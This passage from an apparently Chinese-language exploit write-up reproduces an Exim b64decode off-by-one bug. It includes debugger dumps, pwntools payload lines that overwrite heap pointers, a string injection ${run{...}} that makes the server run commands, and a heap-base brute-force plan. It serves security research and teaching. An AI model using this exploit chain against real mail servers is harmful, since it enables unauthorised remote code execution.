<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">pwndbg</span><span class="pun">></span><span class="pln"> x</span><span class="pun">/</span><span class="lit">18gx</span><span class="pln"> </span><span class="pun">&</span><span class="pln">acl_smtp_vrfy</span></code></li><li class="L1"><code class="lang-python"><span class="lit">0x6ed848</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_vrfy</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000000000000</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li><li class="L2"><code class="lang-python"><span class="lit">0x6ed858</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_rcpt</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000001cedac0</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li><li class="L3"><code class="lang-python"><span class="lit">0x6ed868</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_predata</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000000000000</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li><li class="L4"><code class="lang-python"><span class="lit">0x6ed878</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_mailauth</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000000000000</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li><li class="L5"><code class="lang-python"><span class="lit">0x6ed888</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_helo</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000000000000</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li><li class="L6"><code class="lang-python"><span class="lit">0x6ed898</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_etrn</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000000000000</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li><li class="L7"><code class="lang-python"><span class="lit">0x6ed8a8</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_data</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000001cedad0</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li><li class="L8"><code class="lang-python"><span class="lit">0x6ed8b8</span><span class="pln"> </span><span class="pun"><</span><span class="pln">acl_smtp_auth</span><span class="pun">>:</span><span class="pln"> </span><span class="lit">0x0000000001cedae0</span><span class="pln"> </span><span class="lit">0x0000000000000000</span></code></li></ol> |
所以我有rcpt
, data
, auth
这三个命令可以利用
比如0x0000000001cedae0
地址当前的内容是:
1 |
<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">pwndbg</span><span class="pun">></span><span class="pln"> x</span><span class="pun">/</span><span class="pln">s </span><span class="lit">0x0000000001cedae0</span></code></li><li class="L1"><code class="lang-python"><span class="lit">0x1cedae0</span><span class="pun">:</span><span class="pln"> </span><span class="str">"acl_check_auth"</span></code></li></ol> |
当我把该字符串修改为${run{/usr/bin/touch /tmp/pwned}}
则当我向服务器发送AUTH
命令时,exim将会执行/usr/bin/touch /tmp/pwned
所以之后就是meh所说的利用链:
修改storeblock
的next指针为储存acl_check_xxxx
字符串的堆块地址 -> 调用smtp_reset -> 储存acl_check_xxxx
字符串的堆块被释放丢入unsortedbin -> 申请堆块,当堆块的地址为储存acl_check_xxxx
字符串的堆块时,我们可以覆盖该字符串为命令执行的字符串 -> RCE
STEP 7
根据上一步所说,我们首先需要修改next指针,第二块chunk的原始大小是0x2000,被修改后新的大小是0x20f0,下一个storeblock
的地址为第二块chunk+0x2000,next指针地址为第二块chunk+0x2010
所以我们申请一个0x2020的chunk,就能够覆盖next指针:
1 |
<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="str">"AUTH CRAM-MD5"</span><span class="pun">)</span></code></li><li class="L1"><code class="lang-python"><span class="pln">p</span><span class="pun">.</span><span class="pln">sendline</span><span class="pun">(</span><span class="pln">base64</span><span class="pun">.</span><span class="pln">b64encode</span><span class="pun">(</span><span class="pln">payload</span><span class="pun">*</span><span class="lit">501</span><span class="pun">+</span><span class="pln">p64</span><span class="pun">(</span><span class="lit">0x2021</span><span class="pun">)+</span><span class="pln">p64</span><span class="pun">(</span><span class="lit">0x2021</span><span class="pun">)+</span><span class="pln">p32</span><span class="pun">(</span><span class="pln">address</span><span class="pun">)))</span></code></li></ol> |
这里有一个问题
第二个chunk在AUTH CRAM-MD5
命令执行时就被分配了,所以b64decode
的内存是从next_yield
获取的
这样就导致一个问题,我们能通过之前的构造来控制在执行b64decode
时yield_length
的大小,最开始我的一个思路就是,仍然利用off by one
漏洞来修改next,这也是我理解的meh所说的partial write
但是实际情况让我这个思路失败了
1 |
<ol class="linenums"><li class="L0"><code class="lang-python"><span class="pln">pwndbg</span><span class="pun">></span><span class="pln"> x</span><span class="pun">/</span><span class="lit">16gx</span><span class="pln"> </span><span class="lit">0x1d171a0</span><span class="pun">+</span><span class="lit">0x2000</span></code></li><li class="L1"><code class="lang-python"><span class="lit">0x1d191a0</span><span class="pun">:</span><span class="pln"> </span><span class="lit">0x0063636363636363</span><span class="pln"> </span><span class="lit">0x0000000000002021</span></code></li><li class="L2"><code class="lang-python"><span class="lit">0x1d191b0</span><span class="pun">:</span><span class="pln"> </span><span class="lit">0x0000000001d171b0</span><span class="pln"> </span><span class="lit">0x0000000000002000</span></code></li></ol> |
当前的next指针的值为0x1d171b0,如果利用我的思路是可以修改1-2字节,然而储存acl_check_xxx
字符的堆块地址为0x1ced980
我们需要修改3字节,所以这个思路行不通
所以又有了另一个思路,因为exim是通过fork起子进程来处理每个socket连接的,所以我们可以爆破堆的基地址,只需要爆破2byte
STEP 8
在解决地址的问题后,就是对堆进行填充,然后修改相关acl_check_xxx
指向的字符串
然后附上利用截图:
总结
坑踩的挺多,尤其是在纠结meh所说的partial write
,之后在github上看到别人公布的exp[3],同样也是使用爆破的方法,所以可能我对partial write
的理解有问题吧
另外,通过与github上的exp进行对比,发现不同版本的exim,acl_check_xxx
的堆偏移也有差别,所以如果需要RCE exim,需要满足下面的条件:
- 包含漏洞的版本(小于等于commit 38e3d2dff7982736f1e6833e06d4aab4652f337a的版本)
- 开启CRAM-MD5认证,或者其他有调用b64decode函数的认证
- 需要有该exim的binary来计算堆偏移
- 需要知道exim的启动参数